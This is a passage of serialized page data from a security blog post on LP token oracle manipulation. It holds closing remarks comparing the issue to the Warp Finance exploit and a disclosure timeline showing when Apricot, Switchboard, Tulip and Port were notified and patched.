1080",[171554],{"type":26,"tag":41011,"props":171555,"children":171557},{"d":171556},"M95,702\nc-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14\nc0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54\nc44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10\ns173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429\nc69,-144,104.5,-217.7,106.5,-221\nl0 -0\nc5.3,-9.3,12,-14,20,-14\nH400000v40H845.2724\ns-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7\nc-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z\nM834 80h400000v40h-400000z",[],{"type":26,"tag":217,"props":171559,"children":171561},{"className":171560},[409],[171562],{"type":32,"value":412},{"type":26,"tag":217,"props":171564,"children":171566},{"className":171565},[305],[171567],{"type":26,"tag":217,"props":171568,"children":171571},{"className":171569,"style":171570},[310],"height:0.2695em;",[171572],{"type":26,"tag":217,"props":171573,"children":171574},{},[],{"type":26,"tag":217,"props":171576,"children":171578},{"className":171577},[409],[171579],{"type":32,"value":412},{"type":26,"tag":217,"props":171581,"children":171583},{"className":171582},[305],[171584],{"type":26,"tag":217,"props":171585,"children":171587},{"className":171586,"style":420},[310],[171588],{"type":26,"tag":217,"props":171589,"children":171590},{},[],{"type":26,"tag":217,"props":171592,"children":171594},{"className":171593},[428,289],[],{"type":26,"tag":217,"props":171596,"children":171598},{"className":171597},[258,168173],[],{"type":26,"tag":39,"props":171600,"children":171601},{},[171602],{"type":32,"value":171603},"This concept also extends to stable curves but there is no closed form solution.",{"type":26,"tag":27,"props":171605,"children":171606},{"id":137231},[171607],{"type":32,"value":137234},{"type":26,"tag":39,"props":171609,"children":171610},{},[171611],{"type":32,"value":171612},"While taken separately these components might seem innocuous, combined they allow for clever manipulation attacks. As with many security issues, a deep understanding of the underlying subsystem is required to discover potential inconsistencies.",{"type":26,"tag":39,"props":171614,"children":171615},{},[171616,171618,171625],{"type":32,"value":171617},"This attack has many similarities to the ",{"type":26,"tag":163,"props":171619,"children":171622},{"href":171620,"rel":171621},"https://rekt.news/warp-finance-rekt/",[167],[171623],{"type":32,"value":171624},"warp finance exploit",{"type":32,"value":171626}," on Ethereum which also took advantage of LP tokens as collateral. DeFi developers should keep track of exploits everywhere, even ones that don't occur on their chain.",{"type":26,"tag":39,"props":171628,"children":171629},{},[171630],{"type":32,"value":171631},"We would also like to thank the following teams for their fast triage and response.",{"type":26,"tag":22343,"props":171633,"children":171634},{},[171635,171647],{"type":26,"tag":22347,"props":171636,"children":171637},{},[171638],{"type":26,"tag":22351,"props":171639,"children":171640},{},[171641,171644],{"type":26,"tag":22355,"props":171642,"children":171643},{},[],{"type":26,"tag":22355,"props":171645,"children":171646},{},[],{"type":26,"tag":22366,"props":171648,"children":171649},{},[171650,171663,171675,171687,171699,171712,171725,171738,171750,171763],{"type":26,"tag":22351,"props":171651,"children":171652},{},[171653,171658],{"type":26,"tag":22373,"props":171654,"children":171655},{},[171656],{"type":32,"value":171657},"1/02",{"type":26,"tag":22373,"props":171659,"children":171660},{},[171661],{"type":32,"value":171662},"Apricot is notified",{"type":26,"tag":22351,"props":171664,"children":171665},{},[171666,171670],{"type":26,"tag":22373,"props":171667,"children":171668},{},[171669],{"type":32,"value":171657},{"type":26,"tag":22373,"props":171671,"children":171672},{},[171673],{"type":32,"value":171674},"Switchboard is notified",{"type":26,"tag":22351,"props":171676,"children":171677},{},[171678,171682],{"type":26,"tag":22373,"props":171679,"children":171680},{},[171681],{"type":32,"value":171657},{"type":26,"tag":22373,"props":171683,"children":171684},{},[171685],{"type":32,"value":171686},"Apricot triages report",{"type":26,"tag":22351,"props":171688,"children":171689},{},[171690,171694],{"type":26,"tag":22373,"props":171691,"children":171692},{},[171693],{"type":32,"value":171657},{"type":26,"tag":22373,"props":171695,"children":171696},{},[171697],{"type":32,"value":171698},"Switchboard triages report",{"type":26,"tag":22351,"props":171700,"children":171701},{},[171702,171707],{"type":26,"tag":22373,"props":171703,"children":171704},{},[171705],{"type":32,"value":171706},"1/06",{"type":26,"tag":22373,"props":171708,"children":171709},{},[171710],{"type":32,"value":171711},"Tulip is notified",{"type":26,"tag":22351,"props":171713,"children":171714},{},[171715,171720],{"type":26,"tag":22373,"props":171716,"children":171717},{},[171718],{"type":32,"value":171719},"1/07",{"type":26,"tag":22373,"props":171721,"children":171722},{},[171723],{"type":32,"value":171724},"Tulip releases patch",{"type":26,"tag":22351,"props":171726,"children":171727},{},[171728,171733],{"type":26,"tag":22373,"props":171729,"children":171730},{},[171731],{"type":32,"value":171732},"1/08",{"type":26,"tag":22373,"props":171734,"children":171735},{},[171736],{"type":32,"value":171737},"Port is notified",{"type":26,"tag":22351,"props":171739,"children":171740},{},[171741,171745],{"type":26,"tag":22373,"props":171742,"children":171743},{},[171744],{"type":32,"value":171732},{"type":26,"tag":22373,"props":171746,"children":171747},{},[171748],{"type":32,"value":171749},"Port triages report",{"type":26,"tag":22351,"props":171751,"children":171752},{},[171753,171758],{"type":26,"tag":22373,"props":171754,"children":171755},{},[171756],{"type":32,"value":171757},"1/20",{"type":26,"tag":22373,"props":171759,"children":171760},{},[171761],{"type":32,"value":171762},"Switchboard releases patch (Port covered)",{"type":26,"tag":22351,"props":171764,"children":171765},{},[171766,171771],{"type":26,"tag":22373,"props":171767,"children":171768},{},[171769],{"type":32,"value":171770},"1/21",{"type":26,"tag":22373,"props":171772,"children":171773},{},[171774],{"type":32,"value":171775},"Apricot releases patch",{"type":26,"tag":9282,"props":171777,"children":171778},{},[171779],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":171781},[171782,171787,171791,171792],{"id":162280,"depth":6770,"text":162283,"children":171783},[171784,171785,171786],{"id":167936,"depth":6779,"text":167939},{"id":167978,"depth":6779,"text":167981},{"id":169186,"depth":6779,"text":169189},{"id":24853,"depth":6770,"text":24856,"children":171788},[171789,171790],{"id":169516,"depth":6779,"text":169519},{"id":169580,"depth":6779,"text":169583},{"id":8787,"depth":6770,"text":8790},{"id":137231,"depth":6770,"text":137234},"content:blog:2022-02-16-lp-token-oracle-manipulation.md","blog/2022-02-16-lp-token-oracle-manipulation.md","blog/2022-02-16-lp-token-oracle-manipulation",1790954630629]